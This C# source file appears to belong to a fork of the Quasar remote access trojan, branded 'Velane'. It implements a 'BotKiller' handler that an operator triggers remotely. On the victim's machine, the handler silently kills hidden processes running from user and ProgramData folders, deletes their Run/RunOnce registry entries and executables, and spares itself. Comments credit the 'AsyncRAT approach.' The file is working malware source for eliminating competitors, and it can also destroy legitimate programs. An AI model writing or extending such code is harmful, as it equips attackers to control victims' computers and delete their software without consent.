using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using System.Security.Principal;
using System.Windows.Forms;

namespace Quasar.Client.Messages
{
    public class BotKillerHandler : IMessageProcessor
    {
        [DllImport("user32.dll")]
        [return: MarshalAs(UnmanagedType.Bool)]
        static extern bool IsWindowVisible(IntPtr hWnd);

        public bool CanExecute(IMessage message) => message is DoBotKiller;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoBotKiller _:
                    Execute(sender);
                    break;
            }
        }

        private void Execute(ISender sender)
        {
            int count = 0;
            string currentExePath = Application.ExecutablePath.ToLower();

            foreach (Process p in Process.GetProcesses())
            {
                try
                {
                    // Skip if we can't access the process
                    if (p.Id <= 4)
                        continue;

                    string filePath = null;
                    try
                    {
                        filePath = p.MainModule.FileName;
                    }
                    catch
                    {
                        continue;
                    }

                    if (string.IsNullOrEmpty(filePath))
                        continue;

                    string lowerPath = filePath.ToLower();

                    // CRITICAL: Never kill Velane/Quasar
                    if (lowerPath == currentExePath)
                        continue;

                    string processName = p.ProcessName.ToLower();
                    if (processName.Contains("velane") || processName.Contains("quasar") || 
                        lowerPath.Contains("velane") || lowerPath.Contains("quasar"))
                        continue;

                    // Check if process should be inspected (AsyncRAT approach)
                    if (Inspection(lowerPath))
                    {
                        // Check if window is not visible (hidden process)
                        if (!IsWindowVisible(p.MainWindowHandle))
                        {
                            string pName = p.MainModule.FileName;
                            
                            try
                            {
                                p.Kill();
                                RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\Run", pName);
                                RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", pName);
                                System.Threading.Thread.Sleep(200);
                                
                                try
                                {
                                    File.Delete(pName);
                                }
                                catch { }
                                
                                System.Threading.Thread.Sleep(200);
                                count++;

                                sender.Send(new BotKillerResult
                                {
                                    ProcessName = p.ProcessName,
                                    ProcessId = p.Id,
                                    FilePath = pName,
                                    ThreatType = "Suspicious hidden process",
                                    Mutex = "",
                                    Killed = true,
                                    Message = "Process terminated and file deleted"
                                });
                            }
                            catch (Exception ex)
                            {
                                sender.Send(new BotKillerResult
                                {
                                    ProcessName = p.ProcessName,
                                    ProcessId = p.Id,
                                    FilePath = pName,
                                    ThreatType = "Suspicious hidden process",
                                    Mutex = "",
                                    Killed = false,
                                    Message = $"Failed: {ex.Message}"
                                });
                            }
                        }
                    }
                }
                catch
                {
                    // Silently continue on error
                }
            }

            // Send completion message
            sender.Send(new BotKillerResult
            {
                ProcessName = "SCAN_COMPLETE",
                ProcessId = 0,
                FilePath = "",
                ThreatType = "",
                Mutex = "",
                Killed = false,
                Message = $"Scan completed. Threats found and killed: {count}"
            });
        }

        private bool Inspection(string threat)
        {
            // Never inspect our own process
            if (threat == Process.GetCurrentProcess().MainModule.FileName.ToLower())
                return false;

            // Never inspect Velane/Quasar
            if (threat.Contains("velane") || threat.Contains("quasar"))
                return false;

            // Check suspicious locations (AsyncRAT approach)
            if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData).ToLower()))
                return true;
            
            if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile).ToLower()))
                return true;
            
            if (threat.Contains("wscript.exe"))
                return true;
            
            if (threat.StartsWith(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET").ToLower()))
                return true;

            return false;
        }

        private static void RegistryDelete(string regPath, string payload)
        {
            try
            {
                using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(regPath, true))
                {
                    if (key != null)
                        foreach (string valueOfName in key.GetValueNames())
                        {
                            if (key.GetValue(valueOfName).ToString().Equals(payload))
                                key.DeleteValue(valueOfName);
                        }
                }
                
                if (new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
                {
                    using (RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(regPath, true))
                    {
                        if (key != null)
                            foreach (string valueOfName in key.GetValueNames())
                            {
                                if (key.GetValue(valueOfName).ToString().Equals(payload))
                                    key.DeleteValue(valueOfName);
                            }
                    }
                }
            }
            catch
            {
                // Silently continue on error
            }
        }
    }
}
